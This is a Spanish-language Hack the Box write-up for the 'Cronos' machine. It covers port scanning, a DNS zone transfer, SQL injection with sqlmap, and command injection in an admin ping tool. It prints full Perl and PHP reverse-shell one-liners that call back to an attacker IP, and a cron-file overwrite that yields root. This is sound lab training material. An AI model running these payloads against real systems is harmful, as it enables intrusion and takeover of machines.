En este writeup vamos a ver cómo resolver la máquina Cronos de la plataforma de Hack the Box.
Conexión
Lo primero que tenemos que hacer es conectarnos a la máquina de Cronos a través de la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.13
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
El siguiente paso es hacer un escaneo de puertos para ver por dónde podemos entrar:
$ nmap -p -A 10.10.10.13 --open -n -v
Una vez ejecutado el comando nmap podemos ver los siguientes puertos abiertos:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Al estar el puerto 53 de DNS abierto nos está indicando que tenemos que añadir el host al fichero de /etc/hosts. Utilizamos el comando dig para comprobar la información de DNS y la transferencia de zonas:
$ dig axfr cronos.htb @10.10.10.13
; <<>> DiG 9.16.8-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 47 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: vie ene 08 09:44:46 CET 2021
;; XFR size: 7 records (messages 1, bytes 203)
Vemos que existen varios subdominios para la misma IP:
- cronos.htb.
- www.cronos.htb
- admin.cronos.htb
- ns1.cronos.htb
Una vez hecho esto abrimos el navegador y vemos la web.
Todo lo que ofrece son enlaces externos, no hay ningún formulario ni nada así que poco vamos a poder hacer con esto.
Revisamos la url de admin.cronos.htb y para ello lo añadimos al fichero de /etc/hosts.
$ sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.13 cronos.htb
10.10.10.13 admin.cronos.htb
Cuando lo abramos en el navegador veremos un panel de login:
Al hacer login podemos ver que la petición viaja por POST:
Una de las cosas que podemos hacer es utilizar sqlmap para ver si el login es vulnerable a inyección sql, para ello escribimos lo siguiente en nuestra terminal:
$ sqlmap -u [http://admin.cronos.htb](http://admin.cronos.htb/) --data "username=admin&password=admin" -p username --method POST --dbs
Después de un rato la herramienta nos dice que el SGDB es Mysql y que el parámetro username es vulnerable a SQLi.
En el login de nuevo escribimos los siguientes datos:
Y entramos al backend. Aquí podemos ver una herramienta para hacer escáneres de red, ya sea un ping o un traceroute:
Si vemos la petición que se realiza, podemos ver que la elección del comando va en un parámetro y el host en otro.
Esto nos lleva a pensar que tal vez este formulario es susceptible a un ataque de LFI o lo que es lo mismo, de Local File Inclusion.
Abrimos Burpsuite e interceptamos la petición. Al parámetro commad lo cambiamos por lo siguiente:
cat /etc/passwd
Y efectivamente nos devuelve el fichero con los usuarios del sistema:
El siguiente paso es probar de enviar una conexión netcat para que nos devuelva una shell reversa.
Podemos consultar esta web https://ironhackers.es/herramientas/reverse-shell-cheat-sheet/ para ver como se invoca esta conexión en diferentes lenguajes pero lo que nos interesa a nosotros es mandar en el parámetro command lo siguiente, no sin antes haber levantado una conexión netcat en una terminal nueva:
perl -e 'use Socket;$i="10.10.14.7";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
Automáticamente tendremos ya una conexión nueva con una shell inversa y estaremos dentro del sistema:
Capturar User Flag
Una vez dentro podemos invocar una TTY completa con la siguiente línea de python:
$ python -c 'import pty;pty.spawn("/bin/bash")’
Si nos dirigimos al directorio /home/noulis podremos ver el fichero user.txt con la USER Flag.
Capturar Root Flag
Si hacemos un cat /etc/cron* entre otras cosas vemos la siguiente entrada:
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
Si nos dirigimos al directorio donde se encuentra vemos que el usuario www-data tiene permisos para modificar este archivo por lo que procederemos a hacer lo siguiente:
$ cp artisan artisan.bkp
$ echo '' > artisan
$ echo '#!/usr/bin/env php' >> artisan
$ echo '<?php' >> artisan
$ echo '$sock=fsockopen("10.10.14.7",1234);exec("/bin/sh -i <&3 >&3 2>&3");' >> artisan
Abrimos una nueva terminal con una conexión netcat a la escucha por ese puerto y después de un rato ya tendremos la shell inversa con el usuario root.
Tan solo queda mirar el fichero de /root/root.txt para obtener la ROOT Flag.